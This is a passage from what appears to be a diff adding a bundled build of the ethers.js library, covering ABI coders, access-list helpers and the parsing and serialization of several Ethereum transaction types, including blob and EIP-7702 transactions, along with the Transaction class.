reader.dataLength }); + } + let coders = []; + for (let i = 0; i < count; i++) { + coders.push(new AnonymousCoder(this.coder)); + } + return unpack(reader, coders); + } + } + + /** + * @_ignore + */ + class BooleanCoder extends Coder { + constructor(localName) { + super("bool", "bool", localName, false); + } + defaultValue() { + return false; + } + encode(writer, _value) { + const value = Typed.dereference(_value, "bool"); + return writer.writeValue(value ? 1 : 0); + } + decode(reader) { + return !!reader.readValue(); + } + } + + /** + * @_ignore + */ + class DynamicBytesCoder extends Coder { + constructor(type, localName) { + super(type, type, localName, true); + } + defaultValue() { + return "0x"; + } + encode(writer, value) { + value = getBytesCopy(value); + let length = writer.writeValue(value.length); + length += writer.writeBytes(value); + return length; + } + decode(reader) { + return reader.readBytes(reader.readIndex(), true); + } + } + /** + * @_ignore + */ + class BytesCoder extends DynamicBytesCoder { + constructor(localName) { + super("bytes", localName); + } + decode(reader) { + return hexlify(super.decode(reader)); + } + } + + /** + * @_ignore + */ + class FixedBytesCoder extends Coder { + size; + constructor(size, localName) { + let name = "bytes" + String(size); + super(name, name, localName, false); + defineProperties(this, { size }, { size: "number" }); + } + defaultValue() { + return ("0x0000000000000000000000000000000000000000000000000000000000000000").substring(0, 2 + this.size * 2); + } + encode(writer, _value) { + let data = getBytesCopy(Typed.dereference(_value, this.type)); + if (data.length !== this.size) { + this._throwError("incorrect data length", _value); + } + return writer.writeBytes(data); + } + decode(reader) { + return hexlify(reader.readBytes(this.size)); + } + } + + const Empty = new Uint8Array([]); + /** + * @_ignore + */ + class NullCoder extends Coder { + constructor(localName) { + super("null", "", localName, false); + } + defaultValue() { + return null; + } + encode(writer, value) { + if (value != null) { + this._throwError("not null", value); + } + return writer.writeBytes(Empty); + } + decode(reader) { + reader.readBytes(0); + return null; + } + } + + const BN_0$5 = BigInt(0); + const BN_1$2 = BigInt(1); + const BN_MAX_UINT256$1 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + /** + * @_ignore + */ + class NumberCoder extends Coder { + size; + signed; + constructor(size, signed, localName) { + const name = ((signed ? "int" : "uint") + (size * 8)); + super(name, name, localName, false); + defineProperties(this, { size, signed }, { size: "number", signed: "boolean" }); + } + defaultValue() { + return 0; + } + encode(writer, _value) { + let value = getBigInt(Typed.dereference(_value, this.type)); + // Check bounds are safe for encoding + let maxUintValue = mask(BN_MAX_UINT256$1, WordSize * 8); + if (this.signed) { + let bounds = mask(maxUintValue, (this.size * 8) - 1); + if (value > bounds || value < -(bounds + BN_1$2)) { + this._throwError("value out-of-bounds", _value); + } + value = toTwos(value, 8 * WordSize); + } + else if (value < BN_0$5 || value > mask(maxUintValue, this.size * 8)) { + this._throwError("value out-of-bounds", _value); + } + return writer.writeValue(value); + } + decode(reader) { + let value = mask(reader.readValue(), this.size * 8); + if (this.signed) { + value = fromTwos(value, this.size * 8); + } + return value; + } + } + + /** + * @_ignore + */ + class StringCoder extends DynamicBytesCoder { + constructor(localName) { + super("string", localName); + } + defaultValue() { + return ""; + } + encode(writer, _value) { + return super.encode(writer, toUtf8Bytes(Typed.dereference(_value, "string"))); + } + decode(reader) { + return toUtf8String(super.decode(reader)); + } + } + + /** + * @_ignore + */ + class TupleCoder extends Coder { + coders; + constructor(coders, localName) { + let dynamic = false; + const types = []; + coders.forEach((coder) => { + if (coder.dynamic) { + dynamic = true; + } + types.push(coder.type); + }); + const type = ("tuple(" + types.join(",") + ")"); + super("tuple", type, localName, dynamic); + defineProperties(this, { coders: Object.freeze(coders.slice()) }); + } + defaultValue() { + const values = []; + this.coders.forEach((coder) => { + values.push(coder.defaultValue()); + }); + // We only output named properties for uniquely named coders + const uniqueNames = this.coders.reduce((accum, coder) => { + const name = coder.localName; + if (name) { + if (!accum[name]) { + accum[name] = 0; + } + accum[name]++; + } + return accum; + }, {}); + // Add named values + this.coders.forEach((coder, index) => { + let name = coder.localName; + if (!name || uniqueNames[name] !== 1) { + return; + } + if (name === "length") { + name = "_length"; + } + if (values[name] != null) { + return; + } + values[name] = values[index]; + }); + return Object.freeze(values); + } + encode(writer, _value) { + const value = Typed.dereference(_value, "tuple"); + return pack(writer, this.coders, value); + } + decode(reader) { + return unpack(reader, this.coders); + } + } + + function accessSetify(addr, storageKeys) { + return { + address: getAddress(addr), + storageKeys: storageKeys.map((storageKey, index) => { + assertArgument(isHexString(storageKey, 32), "invalid slot", `storageKeys[${index}]`, storageKey); + return storageKey.toLowerCase(); + }) + }; + } + /** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ + function accessListify(value) { + if (Array.isArray(value)) { + return value.map((set, index) => { + if (Array.isArray(set)) { + assertArgument(set.length === 2, "invalid slot set", `value[${index}]`, set); + return accessSetify(set[0], set[1]); + } + assertArgument(set != null && typeof (set) === "object", "invalid address-slot set", "value", value); + return accessSetify(set.address, set.storageKeys); + }); + } + assertArgument(value != null && typeof (value) === "object", "invalid access list", "value", value); + const result = Object.keys(value).map((addr) => { + const storageKeys = value[addr].reduce((accum, storageKey) => { + accum[storageKey] = true; + return accum; + }, {}); + return accessSetify(addr, Object.keys(storageKeys).sort()); + }); + result.sort((a, b) => (a.address.localeCompare(b.address))); + return result; + } + + function authorizationify(auth) { + return { + address: getAddress(auth.address), + nonce: getBigInt((auth.nonce != null) ? auth.nonce : 0), + chainId: getBigInt((auth.chainId != null) ? auth.chainId : 0), + signature: Signature.from(auth.signature) + }; + } + + /** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ + function computeAddress(key) { + let pubkey; + if (typeof (key) === "string") { + pubkey = SigningKey.computePublicKey(key, false); + } + else { + pubkey = key.publicKey; + } + return getAddress(keccak256("0x" + pubkey.substring(4)).substring(26)); + } + /** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ + function recoverAddress(digest, signature) { + return computeAddress(SigningKey.recoverPublicKey(digest, signature)); + } + + const BN_0$4 = BigInt(0); + const BN_2$2 = BigInt(2); + const BN_27 = BigInt(27); + const BN_28 = BigInt(28); + const BN_35 = BigInt(35); + const BN_MAX_UINT = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + const BLOB_SIZE = 4096 * 32; + function getKzgLibrary(kzg) { + const blobToKzgCommitment = (blob) => { + if ("computeBlobProof" in kzg) { + // micro-ecc-signer; check for computeBlobProof since this API + // expects a string while the kzg-wasm below expects a Unit8Array + if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + return getBytes(kzg.blobToKzgCommitment(hexlify(blob))); + } + } + else if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array + return getBytes(kzg.blobToKzgCommitment(blob)); + } + // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string + if ("blobToKZGCommitment" in kzg && typeof (kzg.blobToKZGCommitment) === "function") { + return getBytes(kzg.blobToKZGCommitment(hexlify(blob))); + } + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + const computeBlobKzgProof = (blob, commitment) => { + // micro-ecc-signer + if ("computeBlobProof" in kzg && typeof (kzg.computeBlobProof) === "function") { + return getBytes(kzg.computeBlobProof(hexlify(blob), hexlify(commitment))); + } + // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array + if ("computeBlobKzgProof" in kzg && typeof (kzg.computeBlobKzgProof) === "function") { + return kzg.computeBlobKzgProof(blob, commitment); + } + // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string + if ("computeBlobKZGProof" in kzg && typeof (kzg.computeBlobKZGProof) === "function") { + return getBytes(kzg.computeBlobKZGProof(hexlify(blob), hexlify(commitment))); + } + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + return { blobToKzgCommitment, computeBlobKzgProof }; + } + function getVersionedHash(version, hash) { + let versioned = version.toString(16); + while (versioned.length < 2) { + versioned = "0" + versioned; + } + versioned += sha256(hash).substring(4); + return "0x" + versioned; + } + function handleAddress(value) { + if (value === "0x") { + return null; + } + return getAddress(value); + } + function handleAccessList(value, param) { + try { + return accessListify(value); + } + catch (error) { + assertArgument(false, error.message, param, value); + } + } + function handleAuthorizationList(value, param) { + try { + if (!Array.isArray(value)) { + throw new Error("authorizationList: invalid array"); + } + const result = []; + for (let i = 0; i < value.length; i++) { + const auth = value[i]; + if (!Array.isArray(auth)) { + throw new Error(`authorization[${i}]: invalid array`); + } + if (auth.length !== 6) { + throw new Error(`authorization[${i}]: wrong length`); + } + if (!auth[1]) { + throw new Error(`authorization[${i}]: null address`); + } + result.push({ + address: handleAddress(auth[1]), + nonce: handleUint(auth[2], "nonce"), + chainId: handleUint(auth[0], "chainId"), + signature: Signature.from({ + yParity: handleNumber(auth[3], "yParity"), + r: zeroPadValue(auth[4], 32), + s: zeroPadValue(auth[5], 32) + }) + }); + } + return result; + } + catch (error) { + assertArgument(false, error.message, param, value); + } + } + function handleNumber(_value, param) { + if (_value === "0x") { + return 0; + } + return getNumber(_value, param); + } + function handleUint(_value, param) { + if (_value === "0x") { + return BN_0$4; + } + const value = getBigInt(_value, param); + assertArgument(value <= BN_MAX_UINT, "value exceeds uint size", param, value); + return value; + } + function formatNumber(_value, name) { + const value = getBigInt(_value, "value"); + const result = toBeArray(value); + assertArgument(result.length <= 32, `value too large`, `tx.${name}`, value); + return result; + } + function formatAccessList(value) { + return accessListify(value).map((set) => [set.address, set.storageKeys]); + } + function formatAuthorizationList(value) { + return value.map((a) => { + return [ + formatNumber(a.chainId, "chainId"), + a.address, + formatNumber(a.nonce, "nonce"), + formatNumber(a.signature.yParity, "yParity"), + toBeArray(a.signature.r), + toBeArray(a.signature.s) + ]; + }); + } + function formatHashes(value, param) { + assertArgument(Array.isArray(value), `invalid ${param}`, "value", value); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid ${ param } hash", `value[${i}]`, value[i]); + } + return value; + } + function _parseLegacy(data) { + const fields = decodeRlp(data); + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), "invalid field count for legacy transaction", "data", data); + const tx = { + type: 0, + nonce: handleNumber(fields[0], "nonce"), + gasPrice: handleUint(fields[1], "gasPrice"), + gasLimit: handleUint(fields[2], "gasLimit"), + to: handleAddress(fields[3]), + value: handleUint(fields[4], "value"), + data: hexlify(fields[5]), + chainId: BN_0$4 + }; + // Legacy unsigned transaction + if (fields.length === 6) { + return tx; + } + const v = handleUint(fields[6], "v"); + const r = handleUint(fields[7], "r"); + const s = handleUint(fields[8], "s"); + if (r === BN_0$4 && s === BN_0$4) { + // EIP-155 unsigned transaction + tx.chainId = v; + } + else { + // Compute the EIP-155 chain ID (or 0 for legacy) + let chainId = (v - BN_35) / BN_2$2; + if (chainId < BN_0$4) { + chainId = BN_0$4; + } + tx.chainId = chainId; + // Signed Legacy Transaction + assertArgument(chainId !== BN_0$4 || (v === BN_27 || v === BN_28), "non-canonical legacy v", "v", fields[6]); + tx.signature = Signature.from({ + r: zeroPadValue(fields[7], 32), + s: zeroPadValue(fields[8], 32), + v + }); + //tx.hash = keccak256(data); + } + return tx; + } + function _serializeLegacy(tx, sig) { + const fields = [ + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + ]; + let chainId = BN_0$4; + if (tx.chainId != BN_0$4) { + // A chainId was provided; if non-zero we'll use EIP-155 + chainId = getBigInt(tx.chainId, "tx.chainId"); + // We have a chainId in the tx and an EIP-155 v in the signature, + // make sure they agree with each other + assertArgument(!sig || sig.networkV == null || sig.legacyChainId === chainId, "tx.chainId/sig.v mismatch", "sig", sig); + } + else if (tx.signature) { + // No explicit chainId, but EIP-155 have a derived implicit chainId + const legacy = tx.signature.legacyChainId; + if (legacy != null) { + chainId = legacy; + } + } + // Requesting an unsigned transaction + if (!sig) { + // We have an EIP-155 transaction (chainId was specified and non-zero) + if (chainId !== BN_0$4) { + fields.push(toBeArray(chainId)); + fields.push("0x"); + fields.push("0x"); + } + return encodeRlp(fields); + } + // @TODO: We should probably check that tx.signature, chainId, and sig + // match but that logic could break existing code, so schedule + // this for the next major bump. + // Compute the EIP-155 v + let v = BigInt(27 + sig.yParity); + if (chainId !== BN_0$4) { + v = Signature.getChainIdV(chainId, sig.v); + } + else if (BigInt(sig.v) !== v) { + assertArgument(false, "tx.chainId/sig.v mismatch", "sig", sig); + } + // Add the signature + fields.push(toBeArray(v)); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + return encodeRlp(fields); + } + function _parseEipSignature(tx, fields) { + let yParity; + try { + yParity = handleNumber(fields[0], "yParity"); + if (yParity !== 0 && yParity !== 1) { + throw new Error("bad yParity"); + } + } + catch (error) { + assertArgument(false, "invalid yParity", "yParity", fields[0]); + } + const r = zeroPadValue(fields[1], 32); + const s = zeroPadValue(fields[2], 32); + const signature = Signature.from({ r, s, yParity }); + tx.signature = signature; + } + function _parseEip1559(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), "invalid field count for transaction type: 2", "data", hexlify(data)); + const tx = { + type: 2, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + }; + // Unsigned EIP-1559 Transaction + if (fields.length === 9) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(9)); + return tx; + } + function _serializeEip1559(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x02", encodeRlp(fields)]); + } + function _parseEip2930(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), "invalid field count for transaction type: 1", "data", hexlify(data)); + const tx = { + type: 1, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + gasPrice: handleUint(fields[2], "gasPrice"), + gasLimit: handleUint(fields[3], "gasLimit"), + to: handleAddress(fields[4]), + value: handleUint(fields[5], "value"), + data: hexlify(fields[6]), + accessList: handleAccessList(fields[7], "accessList") + }; + // Unsigned EIP-2930 Transaction + if (fields.length === 8) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(8)); + return tx; + } + function _serializeEip2930(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "recoveryParam")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x01", encodeRlp(fields)]); + } + function _parseEip4844(data) { + let fields = decodeRlp(getBytes(data).slice(1)); + let typeName = "3"; + let blobs = null; + // Parse the network format + if (fields.length === 4 && Array.isArray(fields[0])) { + typeName = "3 (network format)"; + const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3]; + assertArgument(Array.isArray(fBlobs), "invalid network format: blobs not an array", "fields[1]", fBlobs); + assertArgument(Array.isArray(fCommits), "invalid network format: commitments not an array", "fields[2]", fCommits); + assertArgument(Array.isArray(fProofs), "invalid network format: proofs not an array", "fields[3]", fProofs); + assertArgument(fBlobs.length === fCommits.length, "invalid network format: blobs/commitments length mismatch", "fields", fields); + assertArgument(fBlobs.length === fProofs.length, "invalid network format: blobs/proofs length mismatch", "fields", fields); + blobs = []; + for (let i = 0; i < fields[1].length; i++) { + blobs.push({ + data: fBlobs[i], + commitment: fCommits[i], + proof: fProofs[i], + }); + } + fields = fields[0]; + } + assertArgument(Array.isArray(fields) && (fields.length === 11 || fields.length === 14), `invalid field count for transaction type: ${typeName}`, "data", hexlify(data)); + const tx = { + type: 3, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + maxFeePerBlobGas: handleUint(fields[9], "maxFeePerBlobGas"), + blobVersionedHashes: fields[10] + }; + if (blobs) { + tx.blobs = blobs; + } + assertArgument(tx.to != null, `invalid address for transaction type: ${typeName}`, "data", data); + assertArgument(Array.isArray(tx.blobVersionedHashes), "invalid blobVersionedHashes: must be an array", "data", data); + for (let i = 0; i < tx.blobVersionedHashes.length; i++) { + assertArgument(isHexString(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${i}: must be length 32`, "data", data); + } + // Unsigned EIP-4844 Transaction + if (fields.length === 11) { + return tx; + } + // @TODO: Do we need to do this? This is only called internally + // and used to verify hashes; it might save time to not do this + //tx.hash = keccak256(concat([ "0x03", encodeRlp(fields) ])); + _parseEipSignature(tx, fields.slice(11)); + return tx; + } + function _serializeEip4844(tx, sig, blobs) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || ZeroAddress), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatNumber(tx.maxFeePerBlobGas || 0, "maxFeePerBlobGas"), + formatHashes(tx.blobVersionedHashes || [], "blobVersionedHashes") + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + // We have blobs; return the network wrapped format + if (blobs) { + return concat([ + "0x03", + encodeRlp([ + fields, + blobs.map((b) => b.data), + blobs.map((b) => b.commitment), + blobs.map((b) => b.proof), + ]) + ]); + } + } + return concat(["0x03", encodeRlp(fields)]); + } + function _parseEip7702(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), "invalid field count for transaction type: 4", "data", hexlify(data)); + const tx = { + type: 4, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + authorizationList: handleAuthorizationList(fields[9], "authorizationList"), + }; + // Unsigned EIP-7702 Transaction + if (fields.length === 10) { + return tx; + } + _parseEipSignature(tx, fields.slice(10)); + return tx; + } + function _serializeEip7702(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatAuthorizationList(tx.authorizationList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x04", encodeRlp(fields)]); + } + /** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ + class Transaction { + #type; + #to; + #data; + #nonce; + #gasLimit; + #gasPrice; + #maxPriorityFeePerGas; + #maxFeePerGas; + #value; + #chainId; + #sig; + #accessList; + #maxFeePerBlobGas; + #blobVersionedHashes; + #kzg; + #blobs; + #auths; + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type() { return this.#type; } + set type(value) { + switch (value) { + case null: + this.#type = null; + break; + case 0: + case "legacy": + this.#type = 0; + break; + case 1: + case "berlin": + case "eip-2930": + this.#type = 1; + break; + case 2: + case "london": + case "eip-1559": + this.#type = 2; + break; + case 3: + case "cancun": + case "eip-4844": + this.#type = 3; + break; + case 4: + case "pectra": + case "eip-7702": + this.#type = 4; + break; + default: + assertArgument(false, "unsupported transaction type", "type", value); + } + } + /** + * The name of the transaction type. + */ + get typeName() { + switch (this.type) { + case 0: return "legacy"; + case 1: return "eip-2930"; + case 2: return "eip-1559"; + case 3: return "eip-4844"; + case 4: return "eip-7702"; + } + return null; + } + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to() { + const value = this.#to; + if (value == null && this.type === 3) { + return ZeroAddress; + } + return value; + } + set to(value) { + this.#to = (value == null) ? null : getAddress(value); + } + /** + * The transaction nonce. + */ + get nonce() { return this.#nonce; } + set nonce(value) { this.#nonce = getNumber(value, "value"); } + /** + * The gas limit. + */ + get gasLimit() { return this.#gasLimit; } + set gasLimit(value) { this.#gasLimit = getBigInt(value); } + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice() { + const value = this.#gasPrice; + if (value == null && (this.type === 0 || this.type === 1)) { + return BN_0$4; + } + return value; + } + set gasPrice(value) { + this.#gasPrice = (value == null) ? null : getBigInt(value, "gasPrice"); + } + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas() { + const value = this.#maxPriorityFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0$4; + } + return null; + } + return value; + } + set maxPriorityFeePerGas(value) { + this.#maxPriorityFeePerGas = (value == null) ? null : getBigInt(value, "maxPriorityFeePerGas"); + } + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas() { + const value = this.#maxFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0$4; + } + return null; + } + return value; + } + set maxFeePerGas(value) { + this.#maxFeePerGas = (value == null) ? null : getBigInt(value, "maxFeePerGas"); + } + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data() { return this.#data; } + set data(value) { this.#data = hexlify(value); } + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value() { return this.#value; } + set value(value) { + this.#value = getBigInt(value, "value"); + } + /** + * The chain ID this transaction is valid on. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = getBigInt(value); } + /** + * If signed, the signature for this transaction. + */ + get signature() { return this.#sig || null; } + set signature(value) { + this.#sig = (value == null) ? null : Signature.from(value); + } + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList() { + const value = this.#accessList || null; + if (value == null) { + if (this.type === 1 || this.type === 2 || this.type === 3) { + // @TODO: in v7, this should assign the value or become + // a live object itself, otherwise mutation is inconsistent + return []; + } + return null; + } + return value; + } + set accessList(value) { + this.#accessList = (value == null) ? null : accessListify(value); + } + get authorizationList() { + const value = this.#auths || null; + if (value == null) { + if (this.type === 4) { + // @TODO: in v7, this should become a live object itself, + // otherwise mutation is inconsistent + return []; + } + } + return value; + } + set authorizationList(auths) { + this.#auths = (auths == null) ? null : auths.map((a) => authorizationify(a)); + } + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas() { + const value = this.#maxFeePerBlobGas; + if (value == null && this.type === 3) { + return BN_0$4; + } + return value; + } + set maxFeePerBlobGas(value) { + this.#maxFeePerBlobGas = (value == null) ? null : getBigInt(value, "maxFeePerBlobGas"); + } + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes() { + // @TODO: Mutation is inconsistent; if unset, the returned value + // cannot mutate the object, if set it can + let value = this.#blobVersionedHashes; + if (value == null && this.type === 3) { + return []; + } + return value; + } + set blobVersionedHashes(value) { + if (value != null) { + assertArgument(Array.isArray(value), "blobVersionedHashes must be an Array", "value", value); + value = value.slice(); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid blobVersionedHash", `value[${i}]`, value[i]); + } + } + this.#blobVersionedHashes = value; + } + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs() { + if (this.#blobs == null) { + return null; + } + return this.#blobs.map((b) => Object.assign({}, b)); + } + set blobs(_blobs) { + if (_blobs == null) { + this.#blobs = null; + return; + } + const blobs = []; + const versionedHashes = []; + for (let i = 0; i < _blobs.length; i++) { + const blob = _blobs[i]; + if (isBytesLike(blob)) { + assert(this.#kzg, "adding a raw blob requires a KZG library", "UNSUPPORTED_OPERATION", { + operation: "set blobs()" + }); + let data = getBytes(blob); + assertArgument(data.length <= BLOB_SIZE, "blob is too large", `blobs[${i}]`, blob); + // Pad blob if necessary + if (data.length !== BLOB_SIZE) { + const padded = new Uint8Array(BLOB_SIZE); + padded.set(data); + data = padded; + } + const commit = this.#kzg.blobToKzgCommitment(data); + const proof = hexlify(this.#kzg.computeBlobKzgProof(data, commit)); + blobs.push({ + data: hexlify(data), + commitment: hexlify(commit), + proof + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + else { + const commit = hexlify(blob.commitment); + blobs.push({ + data: hexlify(blob.data), + commitment: commit, + proof: hexlify(blob.proof) + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + } + this.#blobs = blobs; + this.#blobVersionedHashes = versionedHashes; + } + get kzg() { return this.#kzg; } + set kzg(kzg) { + if (kzg == null) { + this.#kzg = null; + } + else { + this.#kzg = getKzgLibrary(kzg); + } + } + /** + * Creates a new Transaction with default values. + */ + constructor() { + this.#type = null; + this.#to = null; + this.#nonce = 0; + this.#gasLimit = BN_0$4; + this.#gasPrice = null; + this.#maxPriorityFeePerGas = null; + this.#maxFeePerGas = null; + this.#data = "0x"; + this.#value = BN_0$4; + this.#chainId = BN_0$4; + this.#sig = null; + this.#accessList = null; + this.#maxFeePerBlobGas = null; + this.#blobVersionedHashes = null; + this.#kzg = null; + this.#blobs = null; + this.#auths = null; + } + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash() { + if (this.signature == null) { + return null; + } + return keccak256(this.#getSerialized(true, false)); + } + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash() { + return keccak256(this.unsignedSerialized); + } + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from() { + if (this.signature == null) { + return null; + } + return recoverAddress(this.unsignedHash, this.signature); + } + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey() { + if (this.signature == null) { + return null; + } + return SigningKey.recoverPublicKey(this.unsignedHash, this.signature); + } + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned() { + return this.signature != null; + } + #getSerialized(signed, sidecar) { + assert(!signed || this.signature != null, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + const sig = signed ? this.signature : null; + switch (this.inferType()) { + case 0: + return _serializeLegacy(this, sig); + case 1: + return _serializeEip2930(this, sig); + case 2: + return _serializeEip1559(this, sig); + case 3: + return _serializeEip4844(this, sig, sidecar ? this.blobs : null); + case 4: + return _serializeEip7702(this, sig); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + } + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized() { + return this.#getSerialized(true, true); + } + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized() { + return 